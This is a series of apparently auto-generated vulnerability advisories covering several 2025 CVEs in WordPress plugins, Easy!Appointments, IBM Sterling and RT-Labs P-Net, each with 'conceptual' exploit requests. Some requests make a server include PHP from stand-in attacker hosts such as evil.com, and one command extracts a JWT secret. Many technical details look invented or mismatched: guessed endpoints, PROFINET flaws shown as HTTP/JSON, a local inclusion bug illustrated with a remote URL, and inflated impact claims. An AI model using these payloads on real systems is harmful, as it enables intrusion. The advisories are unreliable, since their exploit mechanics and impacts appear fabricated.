Author: Ameeba

Overview

The vulnerability titled CVE-2025-47494 describes an issue with improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), specifically within the EventON product by Ashan Perera. This vulnerability is particularly concerning as it allows for PHP Local File Inclusion, potentially leading to system compromise or data leakage. It is crucial for users and administrators to understand this vulnerability to ensure their systems’ safety.

Vulnerability Summary

CVE ID: CVE-2025-47494
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

EventON | Versions up to 2.4.1

How the Exploit Works

The exploit takes advantage of the PHP program’s improper control of filename for Include/Require Statement. An attacker can manipulate this to include a local file from the server, enabling them to execute arbitrary PHP code. This could lead to unauthorized access to sensitive data or control over the system.

Conceptual Example Code

An example of how the vulnerability might be exploited is shown below. This is a conceptual example of a malicious HTTP request.

GET /vulnerable_page.php?file=http://evil.com/malicious_code.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting a page (`vulnerable_page.php`) from the target server (`target.example.com`), and the `file` parameter is manipulated to include a malicious file (`malicious_code.txt`) from an external server (`evil.com`). If the server is vulnerable, it will include and execute the malicious PHP code from the external file.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. It is also advisable to configure PHP settings to disallow including files from external sources.

Overview

CVE-2025-47440 is a high-risk vulnerability that impacts the WPAdverts plugin developed by Greg Winiarski. This vulnerability arises from an improper control of filename for include/require statement in PHP programs, specifically known as ‘PHP Remote File Inclusion’. If successfully exploited, the vulnerability could lead to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47440
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WPAdverts by Greg Winiarski | n/a through 2.2.2

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for include/require statement in PHP programs. An attacker could remotely insert a PHP file from an external server that contains malicious code. When the targeted system executes this inclusion, the malicious code runs, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example illustrating how this vulnerability might be exploited:

POST /wpadverts/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.php

In this example, an attacker sends a request to an endpoint of the WPAdverts plugin, instructing it to include a PHP file from an external server controlled by the attacker. This file contains malicious code which, once executed, enables the attacker to potentially compromise the system or leak data.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.
In addition to these measures, it is also advisable to follow best practices for secure coding to avoid similar vulnerabilities in the future. This includes validating input, using secure API calls, and regularly updating and patching all software components.

Overview

The CVE-2025-47439 vulnerability pertains to an improper control of filename for a PHP program’s Include/Require statement, specifically in WP Chill’s Download Monitor. This flaw allows PHP Local File Inclusion, which could potentially lead to system compromise or data leakage. As a significant risk to any organization using affected versions of WP Chill Download Monitor, it is crucial to address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-47439
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WP Chill Download Monitor | n/a through 5.0.22

How the Exploit Works

This vulnerability arises due to incorrect control of filename for Include/Require statement in the PHP program. The attacker can manipulate the input to the include() or require() function, allowing them to execute a PHP script from a remote server. The attacker can exploit this vulnerability to execute arbitrary PHP code, possibly resulting in unauthorized access, data leakage, or a system compromise.

Conceptual Example Code

The following is a conceptual example of a crafted HTTP request that exploits this vulnerability:

POST /download-monitor/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://malicious.example.com/exploit.php

In the above example, the attacker is instructing the vulnerable application to include and execute PHP code from `exploit.php` on their controlled server `malicious.example.com`.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation to monitor and block suspicious activity. Regularly updating and patching software can also help prevent exploitation of such vulnerabilities.

Overview

A newly identified vulnerability, CVE-2025-29448, affects the popular booking application, Easy!Appointments v1.5.1. This critical flaw allows unauthenticated attackers to exploit the booking logic and create appointments with excessively long durations, resulting in a denial of service by blocking all future booking availability. It presents a significant risk, potentially leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-29448
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Easy!Appointments | v1.5.1

How the Exploit Works

The exploit leverages a flaw in the booking logic of Easy!Appointments v1.5.1. An unauthenticated attacker can create appointments with excessively long durations. The prolonged booking duration then blocks all future booking availability, leading to a denial of service. This could potentially compromise the system or lead to data leakage.

Conceptual Example Code

Here is a conceptual example of an HTTP POST request that an attacker might use to exploit this vulnerability:

POST /booking/create HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"appointment_duration": 999999999,
"appointment_start": "2025-12-31T00:00:00"
}

In this example, the attacker sets the “appointment_duration” to an excessively long value, thereby blocking future bookings. The “appointment_start” is set to a future date, causing the system to indefinitely wait for the appointment to finish, resulting in a denial of service.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure, restricting the ability of an attacker to submit overly long appointment durations.

Overview

The CVE-2025-33093 vulnerability affects IBM Sterling Partner Engagement Manager versions 6.1.0, 6.2.0, and 6.2.2. This vulnerability can potentially lead to severe system compromise or data leakage due to the exposure of JWT secrets in public Helm Charts. These secrets are not stored as Kubernetes secrets, making it a significant cybersecurity issue.

Vulnerability Summary

CVE ID: CVE-2025-33093
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

IBM Sterling Partner Engagement Manager | 6.1.0
IBM Sterling Partner Engagement Manager | 6.2.0
IBM Sterling Partner Engagement Manager | 6.2.2

How the Exploit Works

An attacker can exploit this vulnerability by accessing the exposed JWT secrets in the public Helm Charts. This access potentially allows an attacker to impersonate legitimate services within the Kubernetes environment, thereby gaining unauthorized access to sensitive data or systems.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example assumes the attacker is able to access the Helm Chart:

# Access the Helm Chart
kubectl get helmchart sterling -o jsonpath='{.data.JWT_SECRET}'
# The output will be the JWT secret
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Please note that this is a simplified example and actual exploitation might require additional steps depending on the security controls in place.

Mitigation Guidance

For mitigation, it is recommended to apply the vendor patch once it becomes available. In the interim, using WAF or IDS can serve as a temporary mitigation. Always ensure that secrets are properly managed and stored securely, not in public or accessible locations.

Overview

CVE-2025-32405 is a serious vulnerability affecting RT-Labs P-Net version 1.0.1 and earlier. This flaw allows an attacker to crash IO devices that use the library by sending a malicious RPC packet. This vulnerability is significant as it potentially compromises the system and leads to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32405
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

RT-Labs P-Net | 1.0.1 and earlier

How the Exploit Works

The exploit takes advantage of an out-of-bounds write vulnerability in RT-Labs P-Net. An attacker can craft and send a malicious RPC packet to the target IO devices using the library. This malicious packet can cause the IO devices to crash, leading to potential system compromise and data leakage.

Conceptual Example Code

Here’s a simplified conceptual example of how this vulnerability could be exploited:

POST /rpc_process HTTP/1.1
Host: target_device_ip
Content-Type: application/json
{ "rpc_packet": "malicious_data_that_triggers_out_of_bounds_write" }

In this example, the “rpc_packet” contains malicious data that triggers the out-of-bounds write vulnerability. Once the target device processes this RPC packet, it could crash, leading to potential system compromise and data leakage.

Mitigation Guidance

Users of RT-Labs P-Net 1.0.1 and earlier are advised to apply the vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution can help to prevent the exploit.

Overview

The CVE-2025-32402 vulnerability represents a critical security flaw identified in RT-Labs P-Net version 1.0.1 or earlier. This vulnerability, an Out-of-bounds Write, could potentially allow an attacker to induce a crash in IO devices that employ the P-Net library. Such a breach could have severe consequences, leading to system compromise or data leakage, making it a significant concern for users of the affected versions of P-Net.

Vulnerability Summary

CVE ID: CVE-2025-32402
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System crash, potential system compromise or data leakage

Affected Products

Product | Affected Versions

RT-Labs P-Net | 1.0.1 and earlier

How the Exploit Works

The exploit takes advantage of an Out-of-bounds Write vulnerability in the RT-Labs P-Net software. A malicious actor can send specifically crafted RPC packets, causing an overflow in the memory buffer of the software. This overflow can lead to unexpected behaviour, including system crashes, data corruption, or potentially even allowing the attacker to execute arbitrary code.

Conceptual Example Code

Below is a conceptual example of a malicious RPC packet that could exploit this vulnerability:

POST /rpc/p-net HTTP/1.1
Host: target.example.com
Content-Type: application/x-rpc
{
"method": "malicious.method",
"params": ["A"*5000],  // Buffer overflow
"id": 1
}

In this example, the `params` array is filled with a string that is longer than the buffer can handle (`”A”*5000`), causing an overflow.

Overview

The CVE-2025-32400 is a critical vulnerability discovered in RT-Labs P-Net version 1.0.1 or earlier. This vulnerability exposes IO devices that use the library to potential system compromise or data leakage. The vulnerability lies in a heap-based buffer overflow that can be triggered by sending a malicious RPC packet. This vulnerability matters because it can allow an attacker to crash IO devices, potentially leading to data leakage or system compromise.

Vulnerability Summary

CVE ID: CVE-2025-32400
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RT-Labs P-Net | v1.0.1 or earlier

How the Exploit Works

The exploit works by an attacker crafting a malicious Remote Procedure Call (RPC) packet and sending it to the P-Net network. The malicious packet can cause a heap-based buffer overflow in the P-Net library, causing a crash in IO devices using the library. By choosing the right data to overflow the buffer, an attacker could potentially gain control over the system or cause data leakage.

Conceptual Example Code

This is a conceptual example and does not represent an actual exploit code. It shows how a malicious RPC packet might be constructed and sent to a vulnerable device.

POST /rpc/pnet HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "rpc_call": "overflow",
"data": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."}

In this example, the “data” field contains an excessively long string of “A”s, intended to overflow the buffer in the P-Net library and cause a crash. An actual exploit would use carefully crafted data to try to take control of the system or leak data.
In mitigation, vendors should apply patches as provided by RT-Labs. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation against the exploit.

Overview

This report analyzes the CVE-2025-32398 vulnerability, a NULL Pointer Dereference found in RT-Labs P-Net version 1.0.1 or earlier. This vulnerability allows an attacker to crash IO devices making use of the library by sending a malicious RPC packet. The affected systems include any IO devices using the vulnerable version of RT-Labs P-Net. This vulnerability is significant due to its potential to compromise system integrity or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-32398
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

RT-Labs P-Net | 1.0.1 and earlier

How the Exploit Works

The exploit takes advantage of a NULL Pointer Dereference in RT-Labs P-Net. By sending a malicious RPC packet to a device using this library, an attacker can cause the system to crash. This is due to the software not properly validating the input received over the network, leading to a NULL Pointer Dereference. If exploited successfully, this vulnerability could lead to system crashes or potential data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious RPC packet:

POST /rpc/packet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{"command":"send", "data":"null_pointer_dereference_trigger"}

This example illustrates a malicious RPC packet that could potentially trigger a NULL Pointer Dereference, leading to a system crash or data leakage. The actual payload would depend on the specific implementation of RT-Labs P-Net in use.

Mitigation Guidance

To mitigate this vulnerability, users should apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. These systems can be configured to detect and block suspicious RPC packets, thereby reducing the risk of exploitation.

Overview

A significant vulnerability, identified as CVE-2025-32397, has been found in RT-Labs P-Net version 1.0.1 or earlier. This vulnerability, stemming from a Heap-based Buffer Overflow, impacts IO devices that employ this library. It is particularly significant due to it allowing an attacker to crash these devices by sending a malicious RPC packet.

Vulnerability Summary

CVE ID: CVE-2025-32397
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The successful exploit of this vulnerability could lead to system compromise and potential data leakage.

Affected Products

Product | Affected Versions

RT-Labs P-Net | 1.0.1 and earlier

How the Exploit Works

The exploit works by an attacker sending a malicious RPC (Remote Procedure Call) packet to an IO device using the vulnerable version of RT-Labs P-Net. This results in a Heap-based Buffer Overflow, which in turn induces a system crash. This could potentially be used to compromise the system or lead to data leakage.

Conceptual Example Code

Although this is a network-based attack, here’s a conceptual representation of a malicious RPC packet that could be used to exploit the vulnerability.

POST /RPC2 HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>system.method</methodName>
<params>
<param>
<value><string>Malicious_Buffer_Overflow_String</string></value>
</param>
</params>
</methodCall>

Note: This example does not represent actual exploit code, but rather serves to illustrate the general concept of how the vulnerability could be exploited.

Mitigation

Users are advised to apply the vendor-supplied patch as the primary mitigation strategy. If this is not immediately possible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Always ensure that your systems are running the latest versions of all software and that all patches are applied promptly to reduce vulnerability.